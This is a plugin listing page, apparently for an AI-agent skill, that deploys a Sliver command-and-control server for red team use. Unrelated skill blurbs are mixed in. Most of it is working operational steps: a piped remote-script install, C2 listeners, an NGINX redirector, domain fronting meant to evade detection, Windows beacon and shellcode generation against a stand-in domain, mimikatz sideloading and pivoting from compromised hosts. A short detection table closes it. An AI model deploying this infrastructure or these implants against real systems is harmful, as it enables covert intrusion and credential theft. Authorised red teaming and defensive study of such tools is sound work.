From cybersecurity-skills
Deploys Sliver C2 team server with HTTPS/mTLS listeners, NGINX redirectors, domain fronting, and multi-operator support for red team adversary emulation.
npx claudepluginhub mukul975/anthropic-cybersecurity-skills --plugin cybersecurity-skillsThis skill uses the workspace's default tool permissions.
Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul op...
Applies Acme Corporation brand guidelines including colors, fonts, layouts, and messaging to generated PowerPoint, Excel, and PDF documents.
Builds DCF models with sensitivity analysis, Monte Carlo simulations, and scenario planning for investment valuation and risk assessment.
Calculates profitability (ROE, margins), liquidity (current ratio), leverage, efficiency, and valuation (P/E, EV/EBITDA) ratios from financial statements in CSV, JSON, text, or Excel for investment analysis.
Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.
curl https://sliver.sh/install | sudo bash
systemctl start sliver
# Or run interactively
sliver-server
new-operator --name operator1 --lhost <team-server-ip>
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
dns --domains c2dns.example.com --lport 53
mtls --lhost 0.0.0.0 --lport 8888
wg --lport 51820
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
generate beacon --dns c2dns.example.com --os windows --arch amd64
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
beacons # List active beacons
use <beacon-id> # Interact with a beacon
ps # Process listing
netstat # Network connections
execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies
sideload /path/to/mimikatz.dll # Load DLLs
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host
armory install sa-ldapsearch # Install from armory
sa-ldapsearch -- "(objectClass=user)" # Execute BOF
| Tool | Purpose | Platform |
|---|---|---|
| Sliver Server | C2 team server and implant management | Linux/macOS/Windows |
| Sliver Client | Operator console for team members | Cross-platform |
| NGINX | Redirector and reverse proxy | Linux |
| Certbot | Let's Encrypt SSL certificate generation | Linux |
| Cloudflare | CDN and domain fronting | Cloud |
| Armory | Sliver extension/BOF package manager | Built-in |
| Indicator | Detection Method |
|---|---|
| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |
| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |
| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |
| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |
| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |